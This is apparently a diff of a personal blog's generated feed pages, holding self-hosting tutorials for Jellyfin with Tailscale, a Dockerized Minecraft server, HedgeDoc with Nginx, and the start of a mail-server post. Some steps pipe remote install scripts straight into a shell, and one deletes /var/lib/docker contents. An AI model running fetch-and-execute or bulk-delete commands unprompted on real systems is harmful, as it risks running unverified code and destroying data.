    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4https://blog.alipour.eu/posts/boredom/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/posts/boredom/A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttps://blog.alipour.eu/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/docker/page/1/index.html b/public-clearnet/tags/docker/page/1/index.html new file mode 100644 index 0000000..fa22b65 --- /dev/null +++ b/public-clearnet/tags/docker/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/docker/ + \ No newline at end of file diff --git a/public-clearnet/tags/dovecot/index.html b/public-clearnet/tags/dovecot/index.html new file mode 100644 index 0000000..ea0fc32 --- /dev/null +++ b/public-clearnet/tags/dovecot/index.html @@ -0,0 +1,13 @@ +Dovecot | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/dovecot/index.xml b/public-clearnet/tags/dovecot/index.xml new file mode 100644 index 0000000..64de7dd --- /dev/null +++ b/public-clearnet/tags/dovecot/index.xml @@ -0,0 +1,135 @@ +Dovecot on AlipourIm journeyshttps://blog.alipour.eu/tags/dovecot/Recent content in Dovecot on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

